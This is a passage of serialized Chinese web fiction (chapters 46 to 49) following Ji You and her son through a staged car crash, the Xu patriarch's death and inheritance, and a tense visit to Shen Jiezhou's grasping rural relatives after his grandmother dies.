他努力的把话题拉到孩子教育上来,"沈先生,孩子用拳头解决问题的思想到底还是不对的。" 沈介舟点头,“不会有下次了。” 多么空泛又无力的一次保证啊。 但偏偏这次双方都达成和解了,他就是想继续说点什么都没有由头。 沈介舟从上次的事中还是学到了经验教训的,向晨他是个冲动的孩子,但不是不明是非的。 这次或许也有什么原因。 他忍不住问道,“是刘柯泽这孩子主动挑衅了他吗?” 这事小孩子们已经叽叽喳喳地全都说清楚了,但教导主任没觉得这句话有多难听。 他如实给沈介舟说了那句话。 沈介舟:“……” 他或许懂了向晨一定要把人揍成这个样子的原因了。 这句话对向晨来说,伤害无疑是巨大的。 沈介舟聊完之后没着急走,他需要在这等着叙白。 顺带可以把捐献的文件签一下。 他打电话联系了秘书,办公室会拟订好文件送过来。 剩下的只要坐在这等就好。 在他打电话期间,依稀听到了老师们的谈论。 那是在她在班级演讲发生的事,作为一个懂点科技的商人,他知道这东西的难度,也知道这东西的价值。 她离开的日子是在做这些?准备和许清则一直做下去? 沈介舟捏了捏眉心,感到有些头痛。 “如果有这种东西,那得多方便啊,都不用去找座机了。” 沈介舟语气轻飘飘的,“那确实。” —— 炸鸡店。 纪悠带孩子来吃炸鸡,自然是不能光看着孩子吃的。 她也给自己点了一大盘,她喜欢吃鸡腿,鸡翅的话就留给向晨吧,反正他什么都爱。 纪悠给人擦了擦嘴,然后叮嘱道,“可乐别喝太多。” “放心吧,妈,我有控制量呢。” 不然吃到最后炸鸡吃完了,没有可乐,那嘴巴不腻得慌吗? 最后一口,必须要是可乐。 这是纪向晨的经验之谈! 纪悠有点被笑道,没想到向晨第一次控制用量居然是用在了这方面。 她拖着腮看向窗外,“等吃完之后你就去找昭然玩,然后我去一趟实验室。” “所以妈妈还是要和林叙白当同事!” “那当然。” 那可是天才男主啊。 有这么方便的一个帮手为什么不用,许清则送来的这么多人她都没瞧上。 第 46 章 更新 纪悠信赖林叙白的能力, 在做手机这事上给了他一定的权限。 她貌似寒暄,又像是真心的询问,“在家里, 过得好吗?” “没了你和向晨,家里总是空荡很多。” 纪悠笑了下, 想也知道,这两个沉默的要命的人在一起相处会是什么样子。 吃饭的时候,怕是只有动筷子的声音吧。 “你会回去吗?” “我以为会是沈介舟问我这个问题。” 林叙白沉默了下, 可能比起沈叔叔, 他要更冲动一点。 不然也不会把押题卷给了向晨, 惹得两人不快, 所以现在他说些什么,好像也无济于事。 “我来吧。” 他接过纪悠手里的活,林叙白的身高穿着实验用的白大褂, 感觉身材更小了, 就有种小孩偷穿大人衣服的感觉, 但气质又和真正的大人差不多。 他站在台阶上,拿着镊子在做实验。 纪悠退居二线地看着她,“你总是这样,不累吗?” 林叙白顿了一下, 手上的动作也跟着停了下来。 “其实我还好。” “不,我不是说工作。”她是说林叙白这人给人的感觉。 但从林叙白的表情当中看出来他应当没太能理会她这话中的意思。 纪悠给人买了饭, 然后带着人去到陆家学习。 毕竟她还没克扣到让一个小孩自己回家的道理,而且这还是她的得力助手。 现在放了假, 想学习就只有到陆家来。 林叙白书包都在陆家,陆家给他们准备了专门的小课堂,两排大小不一的桌子放在院子里有点可爱。 讲台上明茹意因为纪向晨的成绩沉吟了好久, 把向晨和陆昭然都吓得不轻。 但明茹意把两人近期的学习都看在眼里,比起生气,更像是在思考怎么教向晨,因为她从来没有教过成绩这么差的学生。 以往,都是学生把最出色的学生往这里送。 向晨这样的学生,大概有二十年没有遇到了。 最后她降低了标准。 “……至少要合格。” 纪向晨头疼,因为合格对他来说都是超级难的难题啊。 他才二十多分。 他讪讪地笑,挠挠头,逐渐转变成哭脸。 陆昭然安慰他,“别怕,你一定行。” 说起来,纪向晨也算进步了一大步,这可是从什么都不会到会啊。 纪向晨一点都没被安慰到,只是哭丧着脸。 —— 许言疏正在做茶,他们家向来喜欢这种东西,他也跟着耳濡目染。 只是性格又像许清则,所以林叙白瞧着他总有点不伦不类,伪装的感觉,许言疏看穿了这种眼神,没好气的说,“至少我爸连这种事都没耐心去做。” “如果和你爸比的话,那确实谁都算儒雅。” 许言疏被逗笑了,这句话也是他一直以来想说的。 但是,“你吐槽我爸倒是犀利,在你弟面前倒是一个字都不会说。” 林叙白确实胆怯,“我不喜欢表达情绪。” 从小,他受了伤、流了眼泪,得到的只有嘲笑,在学校里一直是这样,在外面也是。 “你这样就不累吗?” “什么。” 林叙白不敢相信许言疏居然和她说了一样的话。 他们是中间有过交流吗? 不对,瞧着他们,从来没有过。 他开口想问,一道身影出现在两人的中间,“你们俩,谁能考我几道题。” 纪向晨觉得他和昭然果然还是太熟了,这种暗戳戳的提示已经刻在骨子里了,但是这两人不是啊。 许言疏脸上总是挂着若有若无的嘲笑,林叙白脸上则是永远的冷漠,还有点面瘫。 从他们的脸色上最看不出什么,最适合当老师了。 他叉着腰气势汹汹,不像是在求人,更像是在要求人。 许言疏挑了下眉,然后把身边的林叙白往前一推,“他可以。” “什么?” “我的耐性呢,只有做生意的一点点。” 学习上的事,他花费的时间很少,再来就是结交人脉,除此之外,时间都为零。 更不要提这是林叙白想要得到的机会,他这个朋友,怎么会抢这样的情况呢。 林叙白转头看他,然后得到了一个眼神,林叙白又转过头,“如果是担心提示的话,那我确实是最合适的。” 纪向晨撇嘴,“那确实。” 从小到大,他还没遇见像林叙白这么表情僵硬的人呢。 他铺平试卷,这次的试卷是期末考试的,纪向晨专门找学校要的,上面的分数赫然在目。 安慰到话陆昭然已经说过了,那他就鼓励一下吧。 “及格的话只要再翻三倍就可以了。” 纪向晨抱着胸,他觉得安慰的很好,下次别安慰了。 “或许是我早上没吃鸡蛋油条的缘故。” “你信这些吗?” 纪向晨撇了撇嘴,莫名从这句话中读出了一种‘你信这些吗?那你这辈子完蛋了’的感觉。 可恶啊,以前的林叙白气人但不是这个气人法啊。 “我想换人了。” 林叙白看人神色,“……别想太多。” 他也不知道为什么他总是在认真回答,但每回答一句向晨的脸色就会更难看一分。 有时候,他都有些没辙了。 林叙白教的很认真,但心底也在思索哪天去问许言疏刚刚那句话的意思。 他从小就是这样,一心两用对他来说没有什么难度。 两人在这学的认真,陆家保姆突然疾步着走进来,“叙白向晨,出事了,刚刚在附近出了个车祸,那车子是你们妈妈的车。” 什么?! 林叙白纪向晨猛地站起,他们脸色惨白,其实许言疏也好不到哪去,他脸色铁青,拉住王姨的手就问,“也是爆炸?” “不是的,是路上遇见失控的车直直的朝着纪夫人的车去了。” 许言疏的第一预感是这是谋杀。 “人怎么样了?” “不知道,因为车子里面没见到人啊。” 总不能是撞飞了吧,那安全带都没问题啊,反正这事玄乎的很。 林叙白松了口气,他的潜意识告诉他她不会这么轻易的受伤的,这件事无论从哪看都透露着点猫腻。 他不如许言疏了解情况,但有些情况他心里多少有点数,他拉住纪向晨,“现在去的话还是太危险了。” “危险个屁。” 纪向晨直接甩开他的手就跑远了。 林叙白看着人的背影,只觉得向晨果然还是这么纯粹,这就是关心则乱吗? 那他这种人呢?或许她理解了她说他累的原因了,他的性格就注定了他不会这么热烈的在乎着一个人。 他直接跟过去,留着许言疏在房间里给他爸打电话。 —— 纪悠拍拍身上的灰,如果许清则问起来,她应该只会说句‘衣角微脏’。 她在末世这种情况见得太多了。 在栏杆前,她直接拽着人衣领,把人从驾驶座上拉出来,“我叫警察来了。” “那确实,但我只是刹车失灵而已。” 一连两三个车刹车都失灵?只是现在只有他撞在路灯上跑不掉而已。 她报了警,他背后的人是谁,他知道,纪悠也知道,根本没必要去问。 对于这种事她很清楚要找谁。 这些底下的人交给警察处理就行了。 她等了一会,先来的是向晨,纪向晨跑的额头全是汗,纪悠给人擦了擦,“这么着急干什么?陆家那边没跟你说找不到人吗?” 那车是大车,侧压过来整个车身都被压扁了。 现在瞧起来,真是惨不忍睹。 纪向晨哭的厉害,“那时候我脑子都一片空白了,哪还能听清楚他说的啥啊。” 纪悠拖着腮,那行吧,那是人在传消息时候犯的错。 “吃点好吃的,转眼把这糟糕的一天给忘掉。” “忘不掉了!” 纪悠拍着人背脊,觉得真是把人吓得不轻。 她看向林叙白,林叙白咽了下口水,“我已经叫了人来了,还有你们,不要在这站着了,太危险了。” “这点上还是你说得对。” 她的危险没有消除,就连带着向晨也有危险。 她把人交给陆家,主要是她就是离陆家进,送林叙白来的时候出的这档子事。 明茹意看出来点端倪,“今天你也别走了,许家多少也得卖我一点面子的。” “放心吧,很快就能解决了。” 她只不过是回家拿个东西,耽误不了什么时间,也出不了什么事。 纪悠对自己的实力有信心。 这个世界能伤到她的人怕是还没出生呢。 她回到实验室跟许老爷子打了个电话,电话嘟了好久才被接听,接听的人是许夫人。 “这礼物里怎么有个这玩意啊。” 他们家一直会把礼物放在这个地方,而且为了排除危险,都是扫描过得。 她怎么一直没发现家里还有这样的东西存在。 胡乱按了一通声音才停止,电话那头传出来个女声。 纪悠:“能麻烦夫人让许老爷子接电话吗?” “纪小姐?” 许夫人漂亮又温柔,是许老爷子的第二任妻子。 说实话她并不在意老爷子宠爱谁,财产给谁,她该有的,该分到的份额早在结婚前就说的清清楚楚明明白白了。 “那我现在把这东西拿给他。” 许老爷子咳嗽的厉害,几乎回到国内,所有人都知道他没几天好活了。 过来打探的人不少,都被他一一回绝了,只有些特别亲近的,他本人放心不下的才见了几次面。 场面特别不好看,但也对,知道他疲累还找上门来的人能打着什么好主意。 他看到妻子手上的东西,混浊的眼球直勾勾地盯着它,“这东西是从哪里来的。” “纪小姐想给你说话。” “在哪里?” “就在这里。” 许老爷子顿了很久,才反应过来是什么意思,大哥大?不对,比那玩意精细太多了。 这就是清则那小子和纪悠一起做的东西吗? 许老爷子的眼睛瞬间就亮了。 就连他也不得不感叹,清则这小子就是命好啊。 他几乎是第一时间就领会了纪悠的意思。 “我知道该怎么做了。” “我就知道许老爷子深明大义。” 比起公司的前途,亲儿子又算得了什么呢。 她在看人的第一眼她就知道他是个冷血的人,宠爱和溺爱只不过是因为长相长的像他吧,每当蠢笨的性格显露的时候,都会得到他一个嫌弃地眼神。 这样的人,感情能有多少?八成连许清则都不如。 她挂掉电话,用手机敲了敲手心。 比许清则先来的是沈介舟,沈介舟站在实验室门口敲了敲。 她推开门,“如果是来说我早该远离这样的话的话,劝你闭嘴然后离开。” “我是担心你的安危。” 纪悠开始怀疑,“陆家的人表述能力这么差吗?” 还是读书人家呢。 结果刚开始先是说的乱七八糟让向晨担心的可以,然后又让沈介舟也跟着跑过来。 她啥事没有的情况陆家人难道看不到? “是我觉得你该去做个检查。” 车祸可不是能随随便便看轻的东西。 纪悠觉得沈介舟这个年纪有老妈子的潜质,“那如果我做了检查,你就能走了吗?” 沈介舟抿嘴,“……可以的。” 纪悠笑了下,觉得他在这点上还算干脆利落。 她的‘那就走吧’四个字都没说出来呢,就被许清则给拦住了,“剩下的检查就交给我来吧,如果是去医院的路,这些天陆总哪有我熟啊对吧。” 沈介舟眯起眼,也是戾气满身。 “怎么?要放着你们两个都是目标的人在一辆车上吗?” 那出了事对许绍兴来说才是真正的一劳永逸呢。 而且如果不是因为许清则,纪悠根本就不用遭遇危险,虽然沈介舟没明说,但从眼神和潜台词来看就表达了这个意思。 许清则一向吊儿郎当的人都不笑了,“关键是纪小姐不想见你,不想被你管,这种事你看不懂吗?” 沈介舟看了纪悠一眼,然后道,“至少她没拒绝。” 没拒绝就这么没脸没皮了吗? 许清则那只有那一丁点的涵养都要没了,“你们已经离婚了,沈总还在这纠缠不休干什么呢。” 沈介舟纠正,“只是分居而已。” 还是夫妻身份,而且,她也从没说过绝不回来住。 所以这一切,还是有机会的。 纪悠左看看右看看,她觉得脑子有点疼,心底呢,还是希望沈介舟陪她一起的。 原因也是沈介舟说的那样,哪有让两个目标出现在一起的道理,事情还没彻底解决,不能这么招摇。 她看了一眼许清则,意思不言而喻。 “那你这次去医院我就不能陪了吗?”许清则慌乱的紧,大不了一起去啊。 他也好看看什么情况。 对于纪悠,他是有负罪感的,没想到他这阵子龟缩不出,会让许绍兴把主意打在了她身上。 这万一,纪小姐真出什么事了可怎么办。 纪悠看出了他的担心,“检查的报告结果我会一字一句的念给你听,现在满意了吗?” 沈介舟瞥开眼,不知道为什么纪悠是答应陪他一起去的,但是根本开心不起来。 “那走吧。” 纪悠耸了耸肩,跟在人身后,她可以跟人一起去医院,但是要自己开车,现在别人开车她都不放心。 等去了医院,检查结果自然是一切安好。 准确的来说,是比普通人还要好。 她穿上衣服,因为刚刚检查的胸口,“都说了没什么事了。” “图个安心。” 其实沈介舟也不喜欢来医院,闻着消毒水的气味,会让他浑身不自在。 他看向纪悠,“那你现在要把检查结果告诉许清则吗?” 真的把检查报告一字一句的告诉许清则? “怎么可能呢,你也太认真了。” 沈介舟心情好了点,于是他神色没有这么紧绷的问了几句,“要不要我给你找两个保镖。” “如果有保镖那对我来说才危险呢。” 除了保护自己,还要保护两个拖油瓶,她还不至于这么闲着没事干。 沈介舟双手交握,自认为这话非常合理。 “你是我的妻子,理所应当的我应该保证你的安全。” “已经分居的妻子也算吗?” “当然。” 纪悠一直承认沈介舟要比许清则要合适当丈夫的多了。 “这件事不用你操心,因为事情已经基本结束了。” 沈介舟眯起眼,看人的神色认真,知道了她每一次都有超出自己想象的能力,这一次,她也是凭借着自己脱离险境。 “我会继续打电话和许绍兴说的。” “如果你真能打通电话,我才会有危险呢。” 沈介舟歪了下头,能从神态动作中看出他对这句话的茫然。 纪悠笑了笑,并没有解释的打算。 —— 许老先生死了,在一个雨夜里,大家都清楚,也没什么意外的,就这么办了丧事。 他的妻子在葬礼关切的说道,‘至少死前没受什么苦,这就够了。’ 许清则则是找来了律师,打算对保险箱里的遗嘱进行财产公示。 纪悠:“……” 整个葬礼上,居然没有找到一个真正为许老爷子伤心的人。 不可否认的是,这一点他还真是失败的够可以的啊。 许清则一直以为许绍兴会找机会闹事,但是两个小时过去了,没有人出现,他差异地看着大门口,穿着丧服一字一句地听着律师说话。 许老先生的遗产是巨额的,不然不可能能吸引这么多人。 现在竟然真的实打实地拿到了百分之七十。 百分之十五给了妻子,剩下的百分之十五给了大儿子。 这份财产能保证双方衣食无忧,但也只是能够衣食无忧了。 许清则听到了来自保镖打探到的消息,然后诧异地瞪大了眼睛,“真的吗?” “许大夫人的娘家说的,消息还算可靠。” 许清则坐不住了,他跑去找了纪悠,“我大哥他脊椎骨折,站不起来了,医生说他这辈子都得躺在床上度过了,还被私人飞机送往国外。” “这不好吗?这样就再也挨不着我们什么事了。” 纪悠只是没想到许老爷子会这么雷厉风行的处理,可能是觉得自己快死了,这件事必须快快的做吧。 许清则在纪悠脸上看不见一点惊讶的影子,“这该不会是你在背后做的吧。” “我有这样的实力吗?” 她可从没做过,不要污蔑她。 这父子之间,也真的是像的可以。 “不会是因为车祸吧。” “确实是车祸。” 纪悠沉默半晌,她看向许老爷子的遗像好半天没再说话,许清则都忍不住问道,“怎么了?” “没事,只是觉得你开始想做汽车确实事出有因。” 许清则耸了耸肩,对他的家人真的是没法说什么,在这样的局面下,他首先出现的感情居然是解脱。 这也真的是没谁了。 听说大嫂在看见遗产无望,丈夫残疾后也是立马离了婚,带着孩子回了娘家。 他们一家人可真是。 这样算起来,他这个小家庭居然算是这个家里面比较好的了。 上次他受伤住院,他儿子虽然嘴上埋怨,但照顾的还是很尽心的。 真是欣慰啊。 他用感动的眼神看向许言疏,许言疏则是忍不住皱着一张脸,像是看傻子一样的回看他。 “如果有空的话记得好好感谢纪小姐,要没有她,你哪来的这样的万人讨好的好日子。” “我早就感谢过了,倒是你这小子,对你老爹我是不是越来越没耐心了。” 许言疏觉得有吗?或许有吧。 主要是他这个爸爸真的没什么能拿得出手的地方。 如果不是纪小姐,他们全家恐怕都得遭殃。 最后他嫌弃地看了一眼自家爹,“如果我年龄够的话,恐怕就没你俩什么事了。” 许清则:“……” 行吧,看来是他想多了,把他的感动还给他行吗? 在这场丧礼上,沈介舟也来了。 纪悠注意到了他,然后点了点头,她发现了自己的一个爱好,她居然喜欢人穿的这么清淡冷肃。 真遗憾没看到他举办林墨婚礼的样子。 纪悠叹了口气,沈介舟则慢步走上前,“白事这种事,总是让人习惯不了。” “怎么突然感叹起来了,许老爷子还对你有恩情不成。” 恩情这个词,好像触及到了沈介舟的敏感神经。 他几乎是下意识的站直了身体,意识到这样太明显了,才松懈下来。 他先回答了纪悠的话,“许老爷子对我没有恩情,只是商业上的合作。” 他来这,主要目的也不是为了参加葬礼。 “其实我是来找你的。” “找我做什么?” 沈介舟也需要参加葬礼,“我姥姥死了,我需要回一趟老家,我们虽然分居,但应当还是夫妻关系。” 理当一起回去一趟。 他的姥姥,没熬过这个冬天。 他并没有很伤心,因为她对他有治腿的恩情,但要说感情有多亲厚吧,也真的没有。 确保她的晚年钱财就是他唯一能、也是唯一打算做的事。 这中间,什么亲戚来他也就当必须要打发出去的人,在人面前装装穷这事就当是过去了。 所以现在,也该回去一趟,和之前的人做一个了结。 “你的答案呢?” “可以啊。” 正好她刚结束一件大事,正是没事可干的时候。 第 47 章 更新 纪悠给向晨买了四套棉衣, 在山里,地方还是太冷了。 她并不太想去,但这就像是任务。 两人表面是夫妻, 至少逢年过年需要去一趟对方老家。 更别提这是男人长辈死亡的重要事情。 她也没客气地看向沈介舟,“我的演出费可是很贵的。” “要多少?” “你一半的公司股份。” “可以。” 纪悠稀奇, “看来这次你姥姥死了,对你的思想觉悟影响还蛮大的嘛。” 她看的出来沈介舟身上的变化。 这是沈介舟姥姥的死讯,也是他在老家最后在意的事, 她能感受到, 沈介舟对这个他口中的姥姥的复杂情绪。 她能感觉到, 沈介舟这次回去是去打翻身仗的。 那去的话, 事情就会变得更有意思的。 纪悠收拾包裹的时候问纪向晨,“乡下太冷了,你这次确定要去吗?” 纪向晨觉得, 冷?他最不怕的就是冷了。 最关键的是能陪在妈妈身上, 去哪也无所谓, 他当初不就是吗?妈妈说嫁到这,他也能义无反顾的跟来。 纪向晨握了握拳,有点想问昭然要不要去。 其实乡下之旅确实蛮有意思的。 但又害怕他住不惯。 “妈,我们什么时候能带昭然到我家里玩。” 他突然发现他家换了大别墅还没请朋友过来玩过, 都只有他去陆家的份,先前可能觉得房间有点不趁心, 但现在屋子已经装饰的很不错了。 那接下来当然就是邀请朋友来参观啊。 纪向晨打定了主意,然后期待性的看向妈妈。 “当然可以。” 本来换这套别墅, 就是希望向晨能拥有绝对的自由。 甚至在向晨的房间里,还有昭然喜欢的玩具,总不能让她家向晨一个劲的让他去人家家里玩, 还是得请人做客的。 这样一来一往,孩子的关系才能够变得好。 “那这件事就等回来之后再说,现在先去一趟乡下。” 这件事目前看来更紧要一点。 纪悠把东西送到沈介舟的车上,还有自己的车上,因为东西带的太多了。 这世界无论干嘛都是由俭入奢易,由奢入俭难。 过惯了舒服日子的纪悠,要回去真的要做足了准备。 沈介舟给向晨准备了车内的小零食,都是向晨以前在他家里爱吃的,有奶糖还有饼干。 只是辣条,还是要谨慎点的。 因为孩子妈不怎么让孩子吃。 沈介舟笑了笑,看了纪悠一眼,看到对方没有朝这边看,顿时失落了一下。 “我们要开两辆车吗?” “不然呢,赘婿的待遇还是要差些的。” 纪悠说的也在理,沈介舟的节俭是出了名的,开的是公司里最畅销的大众款。 而她的车,是自己改造的,一看就比沈介舟的车要贵出一大截。 “如果这么在意姥姥,怎么还寄钱过去,不应该寄东西吗?” 就上次看的那个亲戚的嘴脸,用膝盖想象也知道他这钱肯定连三分之一都没用到他姥姥身上。 怎么也不寄一些花布花棉袄,这样家里人想用想亏也得从中掂量掂量。 “其实也没这么在意。” 纪悠吃了块小孩饼干,感觉沈介舟这人可真是把‘报恩’这两个字写进了人生信条里。 也不知道这姥姥到底是什么人做了什么事,能被这么对待。 她没有询问,只是坐上车,然后驱车跟在沈介舟后面。 —— 在叶家,家里这么大个拖累死了,没人伤心,只觉得一阵放松。 毕竟久病床前无孝子,叶长军也只是表面沉重起来做做样子,至于杨梅娟也就更不遮掩了。 明明是办白事,但跟办了喜事一样眉眼乐呵的紧。 “常宝妈,你这也太没良心了吧。” 要知道当初为了娶这个媳妇,这当妈的可是把工作都让给了杨梅娟。 虽然现在工厂倒闭,没有人了。 当初的恩情毕竟还在,这村里的人撇撇嘴,不怎么瞧得上杨梅娟这副嘴脸。 杨梅娟可不怕,要说没良心,谁能有沈介舟这小子没良心。 “至少我还在场呢,我儿子还给他奶奶哭丧,结果呢,这个亲外孙连个面都没露,可怜我妈当时还掏了大半的家产给这人看病呢。” 这也搞得她连点遗产都没翻出来,就等着人上礼之后能收一点。 也是怪可怜的。 “而且沈介舟还有钱的很,住大别墅呦,瞧不上家里的穷亲戚喽,连当初让他给常宝找个工作都不乐意。” “啥,大别墅?” 那不是有钱人家才能住的地方吗?这么有钱,还不愿意接济亲戚? 亏他们瞧着人还不错呢,没想到是个黑心肝的,果然啊,人一有钱就变坏这句话说的果然没错。 现在连唯一照顾他的亲姥姥死了都不回来,这真是烂到没边了。 以前梅娟她妈可没少关照这孩子。 村里的人都摇摇头,一脸瞧不出沈介舟是这种人的样子。 “村那头来了两辆小轿车呢。” 轿车?还两辆?这可是有钱人才能开的起的东西。 是谁这么阔绰,回来的排场还搞得这么大。 这边的山路不好走,要想开车进来还得是沈介舟这样的车好用,纪悠坐上了沈介舟的车。 她的表情显然在说忘记这点了。 沈介舟笑笑下了车,对在场的众人点了点头。 他很了解他们村里人,这么大的热闹,不可能不赶来看。 他给纪悠开车门,被叶常宝看在眼里,不免忒了一声‘小白脸’,但看见纪悠的长相,还是和第一次见面一样产生一抹艳羡。 沈介舟有意无意的遮挡叶常宝的眼神。 他看不惯叶常宝,一直都是。 “哎呀,你们怎么来的,怎么也不知会一声啊。” 现在这事搞得。 杨梅娟刚刚还在这说了沈介舟坏话,结果人转眼就来了,这不是拆她台吗? 还有就是她根本没给人说过这事,人怎么知道的。 果然沈介舟下一句就是,“你不知会我,我凭什么要知会你。” 这种家庭事物村里人不好参加,也不好多嘴,但现在心底也明白沈介舟不是什么忘恩负义的孩子。 于是就说了句‘节哀’。 沈介舟点点头,他当然是听着别人的电话来的,他给了点钱,让人把叶家大大小小的事都说给他听。 当人死的时候,他心底其实没有一点意外的情绪。 就像是这么多年的心结彻底散去。 姥姥对他就像是在处理她女儿不懂事犯的错一样,就像处理一个物件一样,这么无情又这么尽职尽责。 如果要是人活着,恐怕也已经认不清他了。 因为他的长相从头到尾都没在姥姥的印象里。 他就这么一直在夹缝中生存,努力成长成一个成年人,然后去到外面挣出了一份家业。 现在已经停了台,即将下葬。 他在这时候来看一眼烧点纸钱就当这份恩情已经彻底结束了。 “我们打算在这住几天。” “什么?!” “不可以吗?如果我没记错这还是我的房子。” 因为想要给姥姥住,这些人则是凭借着照顾的名头才能够进来,现在人在这住久了,似乎就以为这个房子是他们的了。 他和她身边一样,都有着这么多只看重利益的家人。 杨梅娟觉得,这是威胁啊。 她咬着牙说,“当然可以,有什么事尽管说,毕竟你们这次舟车劳顿的这么辛苦。” 只要不提房子的事,一切都好说。 她们家现在这么多口人,怎么能回到以前那个小房子里面挤着呢。 都怪她家男人这个不争气的,别人都能挣到钱在地皮上盖新房子,就他一个人,这么大把年纪还在吃酒耍乐。 留她一个人为孩子的前途忧心。 她这下不点头根本不行,于是她收拾出一间最大的屋子,现在是睡着她和还有她儿子。 她儿子跑到纪向晨面前想踹他一脚,他的想法很简单,那就是你来了我住的屋子就没了,都怪你。 但纪向晨可不惯着他,要论踢人,他才是这上面的能手。 他直接一个闪躲,然后把人晃倒了,接着一个腿差点踢到人脸上,把人吓得不轻。 纪悠看沈介舟一眼。 沈介舟:“……” 倒是忘记了,她还有容易记仇这一个特点。 “孩子,确实应该好好锻炼一下踢人能力,防止吃亏。” 纪悠这才满意地转过头。 我们睡了这孩子原本的屋子,现在这屋子里都是叶常宝儿子叶文强的生活痕迹,就包括墙面上,上面还有叶常宝的奖状呢。 虽然叶常宝孩子看起来懦弱又没品德,但是成绩看起来还算不错。 纪向晨:“……我居然比上次看到的那个要当我妈妈继子的小孩成绩还差。” 林叙白:“……” 前提条件是不是有点太多了。 “你也可以认为是这地方的小学成绩不好。” 这点是事实,毕竟以前他在以前那小学里面成绩就是拔尖的高,第二名的话和他差了一大截。 所以这种奖状很水,他的放在家里都能堆成一座小山了。 纪向晨呵呵笑了,“如果按照你的标准来,在我们那学校也没几个成绩好的。” 因为林叙白,在那所学校里也是拔尖的第一。 林叙白觉得他说话总是会让对方不开心,“你的成绩也很快就会提高的,毕竟有我和昭然在。” 两人一个教学一个检验,现在在陆家课堂上配合的很好。 纪向晨撅嘴,显然不想在这个时候还讨论学习。 他这次来乡下,也是因为明明是放假,结果要一直学习,结果林叙白一来,这种感觉完全没差。 也是怪难受的。 “我睡在炕上的最边边。” 那个位置,就能离林叙白远点了。 林叙白笑笑,如愿把床铺铺在了另外一头上。 只是这样,纪悠不就得和沈介舟睡一起了吗? 行吧,比起林叙白和向晨,她和沈介舟至少能维持表面上的和平。 她干脆利落地找到杨梅娟,“婶婶刚刚不是说有什么事尽管找你吗?现在的话,我的车里停在山下,里面有一层蚕丝被软的要命,能让婶婶帮忙帮我拿过来吗?” “山下?还在车里?” 那你怎么不自己把车开过来。 “当然是这山路太差,车子不好开啊。”纪悠面露笑意,这意思是必须要她去了? 不是,这怎么也该让沈介舟去吧。 她的话纯纯的只是客套啊,她这么当真做什么? 杨梅娟咬牙,看了沈介舟一眼,结果沈介舟只是笑笑,一点要揽活的意思都没有。 反正他是觉得他姥姥死了,这辈子都不会回来了? “我这就去行了吧。” 为了房子,她可真是忍受了太多。 沈介舟在旁边明白,这是在给向晨出气,还有就是,他们俩睡觉的中间,属实需要隔着点什么。 第 48 章 更新 杨梅娟恨恨的, 其实她当然也担心,担心人该不会待在这待到过年吧。 那这大小姐脾气的,她得一直伺候着。 那还给不给人活路啊。 她直接让她家那不争气的去, 本来就没点用处,现在能派上点用场也算他还可以了。 等拿过来, 她还摸了摸,上面这可真软啊,同样都是人, 这生活居然能这么千差万别。 “咱们这次可别让沈介舟回来给我们抢遗产, 本来就这么一点, 给我家常宝都嫌磕碜。” 叶父抽口烟, 有些无语,“拜托,这遗产本来就没他的份, 他是我妹生的, 这可是打着弯的。” 有什么资格继承遗产。 想起妈平日里对这杀千刀妹妹的宠爱, 还有给她收拾的烂摊子,他就恨。 凭啥给一个女儿付出这么多,导致现在人死了,连一丁点遗产都翻不出来。 他还指望着这笔钱养老呢。 想到这, 他又不耐烦的吸了一口烟,然后弹弹烟灰。 杨梅娟也知道这个, 但是,“我去城里可不是白去的, 我可是知道有个叫遗产的东西,只要老人愿意,就能把全部的钱给分走。” 那个死去的老家伙有多恨她们她是知道的。 确实, 那个女人虽然神经,但确实孝顺。 “当初沈介舟那小子可是在人家房里待了一晚上的,凌晨才走,谁知道人在里面干嘛呢。” 说不准就是弄遗产呢,手印一按,这财产岂不是就都属于沈介舟的了。 这可万万不能啊。 她也绝对不会同意。 “你管他呢,就像你说的,他都这么有钱了,还能在乎这点三瓜俩枣。” 照叶父看,杨梅娟就是在杞人忧天。 一通劝告之后,有点说服杨梅娟了,但有点又放心不下。 她看着沈介舟怎么看怎么不对味,因为沈介舟以前什么事都不回来的,之前人摔了住医院也只是打钱。 这次虽然是死了,但上次也下了病危通知书。 这次回来的时间还这么晚。 就像是想等办完葬礼的。 她现在可是看明白了,就是她的邻居告的状,也不知道沈介舟给了她多少好处。 真是一个个,都是讨人厌的家伙。 她敲了沈介舟的房门,“到点了,要不要吃早饭,你们来我特意做的煎包子。” 这玩意,可是过年才能吃上的宝贝,又废肉,又废钱的。 现在要拿出来招待这一家人,别提多肉痛了。 但她就得搞清楚,等房门打开,里面是一家四口,沈介舟穿着睡衣挡在人面前,“别打扰人休息,有什么事我们外面说。” “……确实。” 杨梅娟在想,“不起来吗?别是城里人瞧不上我们这种乡下早餐。” 其实她想说的是,这么有钱,闲着没事回来干嘛。 这么嫌弃条件还回来。 “其实就是她比较好奇乡下地方是什么样的,才会一起跟着回来。” 沈介舟似乎看出来她的这点试探,于是笑着说,“这个你在城里应该了解过,这个名字叫做农家乐。” 杨梅娟:“……” 讨人厌的家伙。 至于早餐,这附近的早餐店不少,如果可以,他也不想让她吃这个家里的饭。 等人走后,他进了屋。 “用我当借口可是要加钱的。” 纪悠打了个哈欠下床了,她的睡眠质量一般,就是容易醒。 毕竟如果是个不敏锐的性子,在末世里面已经不知道死了多少回了。 沈介舟笑了笑,“要求随便开。” 反正本来,他也没多少她想要的东西了。 纪悠耸了耸肩,无所谓的下了床。 其实她也在想人为什么要回来见这么恶心巴拉的一家人,他看起来也没打算见死去的姥姥一眼。 这次回来可能有事吧。 不告诉她她也就当不知道。 但不知怎的,她刷牙的过程中,后面人就自顾自的开口了。 “姥姥曾经没立过遗嘱,但是她有个遗愿就是不想属于她的一点点东西落到她儿子手里。” 哪怕是只有一点点的别人随的礼。 “那个时候,是她鲜少脑子还算灵光的时候。” 可就算那样,在那个状态下的人,立下的遗嘱也是不具备法律保护的。 所以他会在最后,满足一下姥姥的遗愿。 那就是把这笔钱拿到手。 他要去找人,找一个资产还算可以的人,就是杨梅娟的邻居,也是她告诉他家里的事,也是这次打电话来的人。 比起杨家,邻居家要打理干净的多得多。 这是杨梅娟和邻居一直不对付的原因。 有点垃圾就会溢出来跑到人家家门口去,被发现就撒泼,还会经常偷菜。 第 49 章 更新 沈介舟去邻居家是想了解情况的, 在这个家里,每个人都瞒着他。 想知道点什么东西都难。 现在的房子屋子都不隔音,有点动静都瞒不过, 所以就算两家关系不好,依然能知道不少消息, 然后打电话给他。 沈介舟的方式也很简单,就是用钱。 杨梅娟蹲在门口吃面叶片,别人问起, 她就说爱吃, 好东西自然都得紧着城里的人先用。 “那你这也怪不容易啊, 要伺候这么个大小姐。” 杨梅娟心说‘可不是嘛?’, 但在外人面前就是得装,“人家城里来的,住不惯正常。” 